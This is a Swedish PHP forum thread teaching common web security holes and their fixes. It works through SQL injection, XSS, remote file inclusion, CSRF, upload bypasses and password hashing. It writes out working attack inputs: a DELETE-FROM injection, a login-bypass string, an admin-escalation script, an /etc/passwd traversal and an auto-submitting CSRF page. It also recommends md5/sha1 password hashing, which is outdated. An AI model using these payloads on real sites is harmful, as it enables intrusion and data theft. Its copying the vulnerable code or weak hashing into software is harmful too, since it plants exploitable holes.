Vanliga säkerhetshål och lösningar

PHPportalen Forum Index » PHP
Lägg ett bokmärke på hela tråden
Skapa nytt inlägg   Svara på inlägget Gå till sida 1, 2, 3 ... 9, 10, 11  Nästa
Visa föregående ämne :: Visa nästa ämne  
Startad av: Meddelande
pengi
Ex-Moderator



Medlem i: 3977 dagar
Från: JO57XQ
Status: Offline



#430748
Inlägg Skrivet: 2006-11-05 14:52      Ämne: Vanliga säkerhetshål och lösningar Citera

Väldigt många script jag ser på dom här forumen märker jag har stora säkerhetsbuggar som för den som inte har sett typen innan inte vet om. Därför tänkte jag skriva en lista på de vanligaste buggarna, och hur man motverkar dom.

Första saken man ska tänka på är att aldrig lita på sina användare, varken inloggade, aktiverade, utloggade eller moderatorer. Man ska aldrig lita på information som kommer från klienten.

Andra saken man ska tänka på är att aldrig skriva ut något på sidan som man själv inte kan stå för. Då menar jag inte innehållsmässigt, utan syntaxmässigt. Jag återkommer med exempel på detta med. (JavaScript-injektion).

Något annat som är värt att kommentera innan du läser denna tråd är att det inte finns någon checklista på hur man programmerar säkert. Allt handlar om att förstå sin kod, vad den gör och hur den beter sig, och ännu viktigare, hur den beter sig när den används på sätt som inte är tänkt. Denna guide är således inte till för att berätta exakt hur man gör för att skriva en säker sida, utan som en hjälp att förstå de problem man kan stöta på, och att få säkerhetstänkandet att vara en aktiv del konstant när man programmerar, från början till slut.

Innehåll
Denna guide behandlar följande säkerhetsluckor
SQL-injektion
JavaScript-injektion
Missar med include()
Cross-site-scripting
Filuppladdning
Klartextlösenord

SQL-injektion
Den vanligaste och farligaste av dom alla.

Fall:
Vi gör ett script för att hämta en nyhet från en databas.

Ni har säkert sett kod som liknar följande, och ni har kanske skrivit sådan själv:
PHP:
1:
<?php
2:
$news_id $_GET['news_id'];
3:
 
4:
$result mysql_query('SELECT * FROM news WHERE id='.$news_id);
5:
$newsrow mysql_fetch_assoc($result);
6:
mysql_free_result($result);
7:
 
8:
//Skriv ut $newsrow
9:
?>


Ni testar koden. Den funkar för ?news_id=1, den funkar för ?news_id=6, men den funkar inte för ?news_id=313, då det inte finns någon nyhet 313 än. Den gör sitt jobb då den hämtar rätt nyhet när ni frågar om den, och ni är oftast nöjda.


men vad händer om man gör följande?

Vi går till en länk t.ex. ?news_id=0%3B+DELETE+FROM+news (dvs: news_id är "0; DELETE FROM news")

i detta fall kan vi följa det ganska enkelt:
PHP:
1:
<?php
2:
$news_id '0; DELETE FROM news';
3:
 
4:
$result mysql_query('SELECT * FROM news WHERE id=0; DELETE FROM news');
5:
?>

Whops... där försvann alla nyheter... kanske inte det man ville.

Fall:
Man ska kunna logga in med ett användarnamn från en databas.

PHP:
1:
<?php
2:
$username $_POST['username'];
3:
$password $_POST['password'];
4:
 
5:
$result mysql_query("SELECT * FROM user WHERE username='" $username "' AND password='" $password "'");
6:
$userrow mysql_fetch_assoc($result);
7:
mysql_free_result($result);
8:
 
9:
if($userrow!==false) {
10:
   // inloggad
11:
}
12:
?>


Den här funkar ju bra, oftast.

men vad händer om man gör följande?

username = ' OR ''='
password = ' OR ''='


queryn blir då:

SELECT * FROM user WHERE username='' OR ''='' AND password='' OR ''=''


Man råkade visst få fram alla rader i databasen, och eftersom man bara hämtar en rad i scriptet så får man första raden endast, och vem brukar vara på första raden i databasen? kanske utvecklaren, den med högst behörighet mao.

Det var inte riktigt det man ville heller.

Hur löser man det här då?

enkelt egentligen, gäller bara att man tänker på det.

I första exemplet så var det en siffra som man fick mata in. Kan man kolla att det endast är en siffra så blir det svårt att ta sig igenom. T.ex.
PHP:
1:
<?php
2:
$news_id $_GET['news_id'];
3:
 
4:
if(!is_numeric($news_id)) die('Felaktig indata');
5:
 
6:
//mysql_query och sånt här
7:
?>


I andra exemplet blir det svårare.

Ni kanske vet att det går att escapea tecken, dvs. att om man använder ' för att innesluta en sträng i sql och vill använda ' inne i strängen ändå kan man lösa det genom att skriva t.ex. 'I\'m a good php programmer', dvs. lägga ett \ före tecknena. Kan man automatisera det och få in det på alla farliga tecken i texten som kommer från klienten så är det löst.
Lyckligsvis så finns det funktioner som kan hjälpa er: mysql_real_escape_string! Byt ut första två raderna i scriptet ovan till:
PHP:
1:
<?php
2:
$username mysql_real_escape_string($_POST['username']);
3:
$password mysql_real_escape_string($_POST['password']);
4:
?>


En kommentar skall tilläggas: Det finns andra funktioner som gör ungefär samma sak och funkar bra med. t.ex. addslashes och mysql_escape_string. Självklart är det andra funktioner man använder om man inte kör mysql, utan t.ex. postgresql. Men mysql_real_escape_string kollar upp med vilken teckentabell man kör och klara att packa ner binärdata med. Jag har använt den t.ex. till att packa ner binärdata som png-bilder utan problem.



JavaScript-injektion
Köra kod på andra användares datorer

Fall:
Vi gör ett script för att kunna skicka in kommentarer, likt en gästbok

kommentera.php
PHP:
1:
<?php
2:
$meddelande mysql_real_escape_string($_POST['meddelande']);
3:
mysql_query("INSERT INTO meddelanden (meddelande) VALUES ('" $meddelande "')");
4:
?>


visameddelanden.php
PHP:
1:
<?php
2:
echo '<table><tr><td>';
3:
$result mysql_query('SELECT * FROM meddelanden ORDER BY id DESC');
4:
while($row mysql_fetch_assoc($result)) {
5:
   echo "<b>Meddelande #" $row['id'] . "</b><br />";
6:
   echo nl2br($row['meddelande']) . "<br />";
7:
}
8:
mysql_free_result($result);
9:
echo '</td></tr></table>';
10:
?>


Låt oss säga att vi har lagt in lite inlägg med kommentera.php, där är allt rätt.

meddelandena skrivs ut, snyggt med radbrytningar och allt i visameddelanden.php. Ni är nöjda...

men vad händer om man gör följande?

Man lägger in meddelandet: </td><tr></table>

hela designen förstörs.

och värre:
Man lägger in ett meddelande i stil med: (på en sida med script.aculo.us laddad, går utan, men blir mer kod bara)
<script type="text/javascript"> new Ajax.Request( '/admin/setuser', { method: 'post', postBody: 'uid=618&level=admin' } ); </script>
(självklart anpassat efter sidan, men okunskap ska inte vara grunden i säkerheten)

Vad händer när en admin kollar på den sidan? En web-förfrågan går iväg till /admin/setuser helt utan att adminen ser det. Visst, kan kolla koden, men... hur ofta gör man det? Användaren 618 blir admin. Inte önskat resultat för adminen.

Hur löser man det här då?

Enkel regel: Använd alltid htmlentities på all text som ska ut till klienten. Den formaterar alla < och > till &lt; och &gt;, den formaterar specialtecken, som svenska tecken, till rätt koder m.m. Kolla på mer info om den på php:s hemsida, den kan ta parametrar ifall man kör andra teckentabeller än ISO-8859-1.

ändra således scriptet visameddelanden.php till:

visameddelanden.php
PHP:
1:
<?php
2:
echo '<table><tr><td>';
3:
$result mysql_query('SELECT * FROM meddelanden ORDER BY id DESC');
4:
while($row mysql_fetch_assoc($result)) {
5:
   echo "<b>Meddelande #" $row['id'] . "</b><br />";
6:
   echo nl2br(htmlentities($row['meddelande'])) . "<br />";
7:
}
8:
mysql_free_result($result);
9:
echo '</td></tr></table>';
10:
?>

(lägg märke till att nl2br körs efteråt, annars kommer alla <br> synas på sidan som text istället för radbrytningar)

Vill ni kunna formatera text med html, och det inte är en admin (som man egentligen borde lita på) som har skrivit så får ni lite problem. Det är då bara att koda ett mer avancerat html-filter. Det är dock ganska komplext, men inte omöjligt.



Missar med include()
Skydda dina filer.

Fall:
Vi gör en index-sida som ritar upp layouten och ska inkludera andra php-dokument för att generera och rita upp innehållet.

index.php
PHP:
1:
<?php
2:
if(array_key_exists('page'$_GET)) {
3:
   $undersida $_GET['page'];
4:
} else {
5:
   $undersida 'start';
6:
}
7:
$undersidapath $undersida '.php';
8:
?>
9:
<html>
10:
<head><title>Sida <?php echo htmlentities($undersida); ?></title></head>
11:
<body>
12:
En fin meny...<br />
13:
<?php include($undersidapath); ?>
14:
</body>
15:
</html>


du gör sidor som du kallar:
start.php
gastbok.php
dikter.php
osv...

menyn länkar till index.php?page=dikter t.ex.

koden lägger på .php efter page-variabeln, och inkluderar, i detta fall dikter.php. Du får önskat resultat.

men vad händer om man gör följande?

Du går in på sidan index.php?page=index. Du startar därmed en evig loop, vilket php har skydd mot, en sida får endast köras ett visst antal sekunder. Resultatet är inte önskat, men inte överdrivet farligt heller.

men vad händer om man gör följande?

Du går in på sidan index.php?page=http://evildoman.se/ettfultscript.
http://evildoman.se/ettfultscript.php skriver ut en snutt php-kod som t.ex. kör massa sql-querys, hämtar hela användardatabasen och ändrar lite behörigheter på en användare osv.

Eftersom denna kod inkluderas i ditt script kommer den att köras på din server, och det den koden gör kommer du att råka ut för. Det är inte det som är ditt önskade resultat.

men vad händer om man gör följande?

Du går in på sidan gastbok.php direkt.

Detta gör så att gästboken ritas upp utan någon meny eller något. I detta fall är det inte något problem, men vad hade hänt om du hade lagt in behörighetshanteringen i index.php? Jo, du hade kunnat ta del av koden utan att logga in.

Fall:
Vi utgår från förra index-sidan, men vi vill att alla undersidor ligger i en egen katalog, så vi ändrar en rad:

$undersidapath = $undersida . '.php';
ändras till
$undersidapath = 'undersidor/' . $undersida . '.php';

samt att alla filer för undersidor flyttas till katalogen undersidor.

Sidan funkar för användaren på samma sätt som förra fallet, och du är troligtvis nöjd.'

Du har nu t.o.m. skyddat dig mot att inkludera filer från andra servrar, då du inte kan få in http:// eller liknande i början av url:en

men vad händer om man gör följande?

Du går in på sidan index.php?page=../index

Sidan sätter $undersidapath='undersidor/../index.php'; och inkluderar. Detta ger samma eviga loop som tidigare.

men vad händer om man gör föjande?

Du går till sidan index.php?page=../../../../../../../../../../../../../../../../etc/passwd%00 och servern råkar vara felconfad och har en felaktiv version liggandes?

Förs måste vi kolla på hur strängar ligger lagrade i minnet för att kunna förstå vad som händer.

Varje tecken kodas ner till ett ASCII-värde inom intevallet 0-255, dvs. en byte. En sträng är en följd av tecken, och således ligger en sträng som flera bytes på rad i minnet.

Hur vet då ett normalt program när en sträng är slut?
Jo, ASCII-tecken 0 är upptaget att representera ett slut på strängen, så minnesplatsen efter sista tecknet är alltid satt till 0.

Hur vet php att en sträng är slut?
PHP har stöd för att lägga binärdata i strängar, och binärdata kan innehålla just värde 0, då det inte måste vara ascii-tecken. För att klara sig runt det så sparar PHP även längden på strängen och använder den istället, dvs. den 0-terminierar inte strängar.

Vad är det för farligt med det här?
Vi kollar hur php evaluerar denna sträng:
$undersidapath="undersidor/../../../../../../../../../../../../../../../../etc/passwd\0.php";
(\0 representerar ett escapeat nulltecken)

Om man står i filrooten (/) och försöker gå till ovanstående katalog (..) så kommer man hamna i filrooten igen (/). Denna länk är definierad. Därför vet vi att pathen bort till etc är korrekt, då man står in configkatalogen i ett unix-system.

eftersom denna sträng passas vidare till standard C-funktionen fopen så kommer även nollan att passas vidare, och därför kommer .php att ignoreras, och därför öppnar man filen /etc/passwd på servern. Detta är en fil som absolut inte får läcka ut ifall man vill behålla säkerheten på servern, då denna fil innehåller användaruppgifter till servern.

Jag vill dock kommentera att det sista fallet endast gäller vissa php-versioner och vissa konfigurationer, då det finns filter för det i php med.

Hur löser man det här då?

Lättast är att skapa en lista över godkända sidor vi kan inkludera.

Vi sätter typen till .inc, bara för att förtydliga att det inte är en php-sida som skall köras direkt.

Samt att katalogen inte skall gå att köra kod i direkt från webservern. Lättast är att helt enkelt inte lägga den i webbrooten, utan i en katalog brevid. Går inte det så kan man försöka med .htaccess


vi ändrar då index.php till:

index.php
PHP:
1:
<?php
2:
if(array_key_exists('page'$_GET)) {
3:
   $undersida $_GET['page'];
4:
} else {
5:
   $undersida 'start';
6:
}
7:
$undersidor = array(
8:
   'start' => '../undersidor/start.inc',
9:
   'gastbok' => '../undersidor/gastbok.inc',
10:
   'dikter' => '../undersidor/dikter.inc'
11:
);
12:
 
13:
if(array_key_exists($undersida$undersidor)) {
14:
   $undersidapath $undersidor[$undersida];
15:
} else {
16:
   $undersidapath '../undersidor/filenotfound.inc';
17:
}
18:
?>
19:
<html>
20:
<head><title>Sida <?php echo htmlentities($undersida); ?></title></head>
21:
<body>
22:
En fin meny...<br />
23:
<?php include($undersidapath); ?>
24:
</body>
25:
</html>


och om det inte gick att lägga unersidor utanför din webroot, lägg då in filen .htaccess i i undersidor/, och i filen skriver ni:

KOD:
1:
Order Allow,Deny
2:
Deny from all


Detta kräver dock att apache (om man använder den webservern) inte tillåter sidhämtningar över huvud taget från undersidor/


Cross-site-scripting
Farlig, lurig och elak, men svår att skydda sig mot

Fall:
När du är inloggad på din sida som administrator har du möjlighet att via en formulär på en användares inställningssida möjlighet att ge personen i fråga adminbehörighet. Detta uppdateras med följande script:

updateuser.php
PHP:
1:
<?php
2:
include('init_mysql.php');
3:
if($_SESSION['admin'] && $_SERVER['REQUEST_METHOD']=='POST' && array_key_exists('user_id'$_GET)) {
4:
   mysql_query'UPDATE user SET admin='.intval$_POST['admin'] ).' WHERE id='.intval($_GET['user_id']) );
5:
} else {
6:
   echo 'Error';
7:
   exit;
8:
}
9:
?>
10:
<html>
11:
<head><title>Anv&auml;ndaren uppdaterad</title></head>
12:
<body>
13:
<h1>Anv&auml;ndaren uppdaterad</h1>
14:
<a href="index.php">Tillbaka till sidan</a>
15:
</body>
16:
</html>
17:
 


Forumläret som du redigerar användaren med ser ut något liknande:
KOD:
1:
<form action="updateuser.php?user_id=13" method="post">
2:
<input type="text" value="0" name="admin" /><br />
3:
<input type="submit" value="Uppdatera" />
4:
</form>


Du kan nu använda formuläret för att byta användarnivå på en användare.

men vad händer om man gör föjande?

du skapar din egen html-sida som ligger på en egen dator:

http://din.host.se/elaksida.html
KOD:
1:
<html>
2:
<head>
3:
<title>Du har väl sett min gula stol</title>
4:
<script type="text/javascript">
5:
 
6:
function loadfnc() {
7:
   form = document.getElementById('sendthisform');
8:
   form.submit();
9:
}
10:
 
11:
window.onload=loadfnc;
12:
 
13:
</script>
14:
</head>
15:
<body>
16:
 
17:
<iframe name="formtarget" style="display: none;"></iframe>
18:
<form action="http://din.sida.se/updateuser.php?user_id=618" method="post" id="sendthisform" target="formtarget">
19:
<input type="hidden" name="admin" value="1">
20:
</form>
21:
 
22:
<h1>Du har väl sett min gula stol</h1>
23:
Den är så fin, och innehållet på den här sidan ska vara något som gör att administratorn inte misstänker något och inte kollar koden...
24:
 
25:
</body>
26:
</html>


( http://din.sida.se/updateuser.php är scriptet som ger behörighet, ditt användarid är 618. )

Lättast är om du skickar länken till ditt elaka script (http://din.hosty.se/elaksida.html) via ett meddelande på sidan, annars via annat media när du vet att administratorn är inloggad på sidan.

vad händer då när han kollar på denna sida?

Administratorn ser varken iframen eller formuläret, då båda är dolda. Att bara se dom är inte någon fara, men eftersom det ligger ett javascript med samtidigt som triggar formuläret, och låter resultatet visas i dolda iframen så märker inte administratorn att han just har gett lite för mycket behörighet till användaren 618. Är innehållet på sidan tillräckligt intressant och relevant så misstänker han inte något heller.

Hur löser man det här då?

Det här är inte lätt... en av de svåraste saker att skydda sig mot, då detta innehåller en del psykisk exploatering med för att få administratorn att kolla på sidan och då "frivilligt" köra kod på sin server.

För att hitta lösningen så måste man fundera på var säkerhetshålet ligger. Sidan är ju i sig säker, finns inte några direkta hål. Det går inte att injecta kod som i tidigare exempel med javasriptinjects, utan det här är en helt fristående sida som allt handlar om. Men det finns fortfarande en nyckel i det hela. Det handlar om att det är en programkod som triggar formuläret och inte en människa. Därför krävs det något att identifiera vad som triggar.

Att särskilja en dator från en människa är inte lätt, men det finns en metod och den kallas "Completely Automated Public Turing test to tell Computers and Humans Apart" (förkortas CAPTCHA). Detta är det vanligaste sättet att hindra script/spambottar från att automatiskt registrera sig på sidan.

Använd gärna denna metod på de ställen som har formulär som kan göra skada ifall någon triggar utan din vetskap. Kan vara en överdrift att ha det i gästböcker inne på sidan, men adminfunktioner och registreringsfunktioner är saker som är bra att skydda.

koden för att lösa detta är för lång för att skriva här, och det finns flera metoder att implmenetera det, så jag hänvisar till andra sidor för det.

mer info på http://en.wikipedia.org/wiki/CAPTCHA

Filuppladdning
Laddar någon upp körbara script?

Fall:
Du har gjort en sida där du tillåter folk att ladda upp filer till ett filarkiv.

Uppladdningssidan ser ut som följande:
PHP:
1:
<?php
2:
$uploaddir 'uploads/';
3:
if( $_FILES['filen']['error'] == UPLOAD_ERR_OK ) {
4:
    move_uploaded_file$_FILES['filen']['tmp_name'], $uploaddir.'/'.$_FILES['filen']['name'] );
5:
    echo 'Filen uppladdad';
6:
} else {
7:
    echo 'Fel inträffade';
8:
}
9:
?>


En filuppladdning till detta script blir således möjlig ifall inget överföringsfel inträffade. Filen i fråga kommer att bli tillgänglig från addressen upload/filnamn. Detta verkar ju ok.

Men vad händer om man gör följande?

Låt göra det enkelt. Vi laddar upp en fil av typ php. Vi vet att scriptet i fråga är php, därför bör servern klara av att hantera php. Således när vi frågar efter filen vi just laddade upp kommer filen inte att skrivas ut som vanligt, utan scriptet kommer att köras. Det blir således möjligt för användaren att köra vilken php-kod som hellst på servern, vilket leder till att den har full kontroll över servern, vad webbserver-användaren kan göra. Det är mycket.

Fall:
Vi lägger in en spärr i förra scriptet så vi begränsar till att endast bilder kan laddas upp. Möjligt är det ett bildarkiv som var tänkt från början?

PHP:
1:
<?php
2:
$uploaddir 'uploads/';
3:
if( $_FILES['filen']['error'] == UPLOAD_ERR_OK && substr$_FILES['filen']['mime'], 0) == 'image/' ) {
4:
    move_uploaded_file$_FILES['filen']['tmp_name'], $uploaddir.'/'.$_FILES['filen']['name'] );
5:
    echo 'Filen uppladdad';
6:
} else {
7:
    echo 'Fel inträffade';
8:
}
9:
?>


jpeg har mimetype image/jpeg, png har image/png osv. Alla bilder har i vilket fall image/, men filer som inte är bilder har annat. Detta borde vara ok mao.

Men vad händer om man gör följande?
Mimetype skickas med från klienten, och sätts oftast av klienten m.h.a. en lista som mappar filändelse till mimetype.

Om vi nu förändrar denna lista på våran klient till att .php blir image/php, eller image/jpeg. Alternativt kan vi använda plugin Tamper Data till firefox och ändra frågan så att vi hittar på en egen mimetype.

På detta sätt kan vi ladda upp en fil som faktiskt heter haxx.php, säga att det är en bild, och den går igenom spärren, och ligger på servern som haxx.php. Mimetype sparas inte på serverns hårddisk per fil.

Fall:
Vi vill du garantera oss att det verkligen är en bild vi laddar upp, och förra fallet hjälpte inte, så vi tar till nästa knep. Vi kollar innehållet.

PHP:
1:
<?php
2:
$uploaddir 'uploads/';
3:
if( $_FILES['filen']['error'] == UPLOAD_ERR_OK ) {
4:
    if( FALSE !== getimagesize$_FILES['filen']['tmp_name'] ) ) {
5:
        move_uploaded_file$_FILES['filen']['tmp_name'], $uploaddir.'/'.$_FILES['filen']['name'] );
6:
        echo 'Filen uppladdad';
7:
    } else {
8:
        echo 'Detta är inte någon bildfil';
9:
    }
10:
} else {
11:
    echo 'Fel inträffade';
12:
}
13:
?>


Kan getimagesize kontrollera att det är bilddata så sparas filen. Är det inte det behandlas den. Vi kan även bygga vidare scriptet att endast godkänna enstaka typer, eller spara ner bildstorlekar i databasen om vi är intresserade.

Detta borde nu vara ok? Att ladda upp bilder går fint, och andra filer nekas.

Men vad händer om man gör följande?
JPEG och de flesta andra format kan innehålla kommentarer. Om dom inte kan innehålla detta går det ofta att trixa i bilddatan så att bilddatan faktiskt är php-kod, även om bilden i fråga inte blir direkt snygg.

kommentarer i bilder brukar i princip alltid ligga i klartext. Testa att spara ner en JPEG med en kommentar, skriv php-kod i kommentaren. Gör bilden högst 8x8 pixel, och öppna sedan bildfilen i notepad. Hittar ni denna php-kod?

Gör denna PHP-kod så den skriver ut massa likadana tecken. Lägg upp den på en server som kan hantera php och döp filen till fil.php, och öppna den i en webbläsare. Ni kommer att se att php-koden har körts.

Detta visar att även giltiga bilder kan innehålla php-kod, och således räcker inte denna validering för att skydda sig mot uppladdning av php-kod.

Fall:
Vi går nu över i att validera filnamnet. Vi vill endast godkänna bilder av typ jpg.

PHP:
1:
<?php
2:
$uploaddir 'uploads/';
3:
if( $_FILES['filen']['error'] == UPLOAD_ERR_OK ) {
4:
    if( FALSE !== strpos$_FILES['filen']['name'], '.jpg' ) ) {
5:
        move_uploaded_file$_FILES['filen']['tmp_name'], $uploaddir.'/'.$_FILES['filen']['name'] );
6:
        echo 'Filen uppladdad';
7:
    } else {
8:
        echo 'Detta är inte någon bildfil';
9:
    }
10:
} else {
11:
    echo 'Fel inträffade';
12:
}
13:
?>


Laddar man upp en fil t.ex. blargh.jpg så kommer den validera annars, medans blargh.php inte validerar.

Men vad händer om man gör följande?
Vi döper vårat script nu till evil.jpg.php. Detta leder till att .jpg hittas i namnet, strpos returnerar inte FALSE, och scriptet kommer att acceptera filen. Filnamnet slutar på .php, och webbservern exekverar scriptet.

En notis är att denna miss har hittats i vissa script där man använder explode, och . som separator, och kontrollerar om jpg finns i listan. Inte sist i listan.

Hur löser vi det här då?
Problemet har hela tiden legat i att vi inte vill ladda upp filer som heter .php, och att filen inte skall heta detta. Ofta finns även andra farliga filändelser, som t.ex. .cgi, .pl, .phtml, .shtml.

Det vi vill göra är att omöjliggöra uppladdning av filer som slutar på detta, vilket gör att valideringen bör ligga i att se till att filnamnet aldrig slutar på en av dessa ändelser.

Vilka filer som exekveras av servern och vilka som direkt skrivs ut varierar beroende på vilka språk och hur webbserver är inställd. Två varianter finns således att göra:

1. Använd en lista på godkända filändelser, och dessa filändelser måste vara i slutet på strängen, inte någonstans i.

Exemplet med filnamnet kan lätt modifieras genom att ändra testen till:
if( substr( $_FILES['filen']['namn'], -4 ) == '.jpg' )

Detta är tvingar att namnet slutar på .jpg.


Vill du ändå godkänna alla filtyper, men inte låta dom exekveras, är en möjlighet att på okända filtyper byta ut eller lägga till en filändelse till, utöver den som redan finns.

2. Hitta på ett eget namn på filen.

Om inte namnet kommer från användaren, utan är helt serverpåhittat är det inte någon risk. Dock så ska man inte förväxla detta med att hitta på ett filnamn men behålla ändelsen från klienten, då det är ändelsen som är problemet.

Klartextlösenord
Någon igenom, på din eller annan sida? Förebygga problem.

Fall:
Någon har kommit över innehållet på din servers hårddisk. Detta leder till att han har databasen, han har källkoden. Detta är inte otänkbart i om man har kommit in i systemet.

Du har sparat i en tabell användarnamn i en kolumn och lösenord i en annan.

Detta leder till att hackaren har hela din användarlista och lösenordslista.

De flesta användarna använder samma användarnamn och lösenord på många sidor och tjänster. Detta leder till att hackaren inte bara har full tillgång till vad som ligger på alla användare på din sida, utan även på andra sidor där användarna är registrerade.

Fall:

Du försöker göra det säkrare än förra fallet, du använder en hashfunktion för att dölja lösenorden.

En hashfunktion är definierad så att givet en sträng A kan sträng A' genereras så att för två strängar A och B, där A != B, kommer A' != B'. A' skall inte, inom astronomisk tid, kunna ge A.

Dvs. man genererar ett "fingeravtryck" av en sträng som är unik för strängen, men aldrig går att räkna baklänges till strängen i fråga.

Detta leder att det enda man sparar i databasen är hasharna, dvs. fingeravtrycken. För att kontrollera lösenordet genererar man en hash av det lösenord som ska testas och jämför med hashen i databasen.

Vanliga, och tillräckligt säkra, sådana hash-funktioner är md5 och sha1.

Så vi gör följande för att kontrollera om $username och $password stämmer:
PHP:
1:
<?php
2:
$result mysql_query'SELECT * FROM users WHERE'
3:
    .' name="'.mysql_real_escape_string$username ).'"'
4:
    .' password=MD5("'.mysql_real_escape_string$password ).'")'
5:
    );
6:
?>


Detta gör att om man snor databasen kommer hackaren endast åt hasharna.

Men vad händer om man gör föjande?
I vissa fall är det nödvändigt att köra binlog, dvs. att alla querys man har ställt sparas ner. Detta kan även vara för query-cachear, etc. Detta ger att hackaren istället för att hämta ner databasen, hämtar ner loggen på alla querys. Loggen innehåller alla querys som är skickade, vilket ger att man lätt hittar MD5('losenord').

I vissa inställningar kanske det bara är nödvändigt att spara ändringar, dvs. INSERT och UPDATE. Men om man använder samma teknik för att hasha lösenorden där så hjälper inte det.

Men vad händer om man gör följande?
Webbserver och Mysql-server körs eventuellt på olika datorer. Querys skickas i klartext, vilket gör att även om uppkopplingen mellan klient och server är krypterad så kan man sniffa trafiken mellan webbserver och databas och ändå få reda på lösenorden.

Hur löser man det här då?
Har hackaren möjlighet att ändra på webbapplikationen är det inte så mycket att göra, då kan han lägga in en rad som loggar alla klartextlösenord vid inloggningsförsöken.

Men har han bara möjlighet till att läsa på servern, och kanske läsa av trafiken mellan servrarna, möjligt genom fysisk tillgång och en nätverkskabel, så går det lätt att skydda sig.

Gör alltid alla tester och hashar så tidigt som möjligt i eran webbapplikation. Dvs. gör dom i PHP-koden. Nödvändigtvis inte i början av koden, men innan ni skickar iväg lösenordet ur PHP:s kontroll. T.ex. genom SQL.

ändra förra testen till t.ex.:
PHP:
1:
<?php
2:
$result mysql_query'SELECT * FROM users WHERE'
3:
    .' name="'.mysql_real_escape_string$username ).'"'
4:
    .' password="'.mysql_real_escape_stringmd5$password ) ).'"'
5:
    );
6:
?>

Jag har mysql_real_escape_string med av principsak; jag vet att md5 endast returnerar hex, vilket iofs är säkert, men resultatet av md5 är oescapeat och jag vill endast använda escapeade strängar i queryn.

Men vad händer om man gör följande?
Det finns stora tabeller på nätet som innehåller miljontals vanliga lösenord, och dess md5-strängar, och upplagda sökbara. Dvs. har man ett lösenord som inte är tillräckligt säkert är det mycket möjligt att det finns med i sådana listor. Om man i en sådan databas söker efter md5-strängen är det mycket möjligt att få ut lösenordet.

Hur löser vi det här då?
Med en nypa salt.

Fall:
Vi vill omöjliggöra att använda tabeller på nätet för att slå upp lösenord, så vi väljer att hitta på en egen hash-algorithm som inte finns tabeller för.

Att hitta på en säker hashalgorithm som fortfarande uppfyller kraven som ställs på en hashalgorithm, dvs. två olika strängar inte ska ge samma hash, och hashen inte ska kunna räkna tillbaka tillbaka till en godkänd sträng, är svårt.

Lättast att göra detta är således att modifiera en befintlig. Det görs genom att man tar strängen som ska hashas, lägger på en bit konstant data, och hashar dom tillsammans. T.ex.:
md5( 'konstantdata' . $password )

Om konstantdata är unikt för denna applikation, och är tillräckligt långt för att datan och hashen tillsammans inte ska vara ett ok lösenord så fungerar helt plötsligt inte tabellerna.

Att lägga på en extra sträng till lösenordet kallas att salta lösenordet, och det man lägger till kallas salt.

Men vad händer om man gör följande?
Om man som hackare tar listan användarnamn och lösenordshashar och stoppar in dom i en databas, och indexerar lösenordshasharna. Detta ger att det tar i princip inte någon tid alls att slå upp en användare med en given lösenordshash.

Det ger oss möjligheten att ta ett lösenord vi tror finns någon användare som har. Hashar detta givet algorithmen vi har definierat, och sedan söker upp alla användare som använder det lösenordet.

T.ex. vi använder extrasträngen "konstantdata", vi vill se vilka användare som använder lösenordet "qwerty" (vilket troligtvis iaf några har, men vi vet inte vem). Av detta kan vi räkna ut hashen till md5('konstantdataqwerty') = '7816b28b966854ce321a5e7551d97dde'. Detta är bara att söka efter i tabellen.

I princip oavsett hur många användare vi har kan vi automatisera detta och göra testen iaf 10000ggr på några sek. Har vi således en lista med vanliga lösenord (inte lösenordshashar) så får vi garanterat ut ett antal av användarnas lösenord, även om inte alla. Det blir dock en bra skörd för hackaren.

Hur löser vi det här då?
Att hitta på en egen hash-funktion är dock lösningen. Men det vi vill göra är att motverka att kunna söka på hashar. Detta löses genom att vi hittar på en hashfunktion per användare istället för en per applikation.

Om vi istället i användartabellen väljer att göra tre kolumner; name, passwordhash, salt; och låter passwordhash vara en hash av salt och lösenord tillsammans. Detta ger att hashen blir beroende av vilken användare det är, så lösenord "qwerty" ger olika hashar för olika användare, vilket gör att vi inte kan göra en indexoptimerad sökning på hashen.

I princip ger denna lilla förändring av algorithmen att en gissningsattack på lösenord i konstant-salt-versionen på hela listan tar i princip lika lång tid som samma gissningsattack på en användare i individuellt-salt-versionen.

Det båda dessa versioner har gemensamt är dock att regnbågstabeller (dvs. färdiga md5-hash-tabeller) är obrukbara.


Fotnot:
Vissa har hävdat att det bästa är en kombination av både konstant salt och individuellt sallt. Eftersom tabellerna fortfarande är obrukbara med och utan konstant data, dock med indiviudell data, så tjänas det inte något på detta. Eftersom en hash är i princip lika svår att generera med och utan konstant data så tjänas det inte något här heller.

Man får således inte någon försämring av att lägga till konstanta saltet på ett individuellt salt, men man tjänar inte någonting på det heller, vilket gör det totalt onödigt och överflödigt.


Slutligen: användbara länkar:
Till funktioner från inlägget.

http://www.php.net/mysql_real_escape_string
http://www.php.net/is_numeric
http://www.php.net/htmlentities
http://www.php.net/include
http://www.php.net/explode
http://www.php.net/md5
http://www.php.net/sha1
http://en.wikipedia.org/wiki/CAPTCHA

Senast ändrad av pengi den 2009-08-10 20:59, ändrad totalt 11 gånger
 

_________________
"Question everything. Never trust propaganda. Keep on hacking." - Phrack
Till toppen på sidan
Visa användarprofil Skicka privat meddelande Besök användarens hemsida
HannesP



Medlem i: 4424 dagar

Status: Offline



#430833
Inlägg Skrivet: 2006-11-05 17:09      Ämne: Citera

Fint med en sån här lista!
Ett hål du inte tar upp, och som ofta är mycket farligare än SQL injection, är inkludering baserat på querystringen, t.ex.:
include $_GET['page'];
Genom att inkludera t.ex. min förgjorda http://hannesp.se/files/sauce så dumpas alla hittills satta variabler, som kan vara t.ex. inloggningsuppgifter till databasen.
 

_________________
Without chemicals, he points.
Till toppen på sidan
Visa användarprofil Skicka privat meddelande
Andreas_



Medlem i: 5160 dagar
Från: Uppsala
Status: Offline



#430839
Inlägg Skrivet: 2006-11-05 17:20      Ämne: Citera

Bra guide, men det absolut lättaste tycker jag är att använda PDO. Smile
 

_________________
¯\(°_o)/¯ The sooner you fall behind, the more time you have to catch up. Böcker för barn
Till toppen på sidan
Visa användarprofil Skicka privat meddelande
Ninfrex



Medlem i: 4026 dagar
Från: Ängelholm
Status: Offline



#430842
Inlägg Skrivet: 2006-11-05 17:25      Ämne: Citera

Klistra! Eller nej... Svetsa fast ffs! Razz
 
Till toppen på sidan
Visa användarprofil Skicka privat meddelande
pengi
Ex-Moderator



Medlem i: 3977 dagar
Från: JO57XQ
Status: Offline



#430844
Inlägg Skrivet: 2006-11-05 17:35      Ämne: Citera

HannesP skrev:
Fint med en sån här lista!
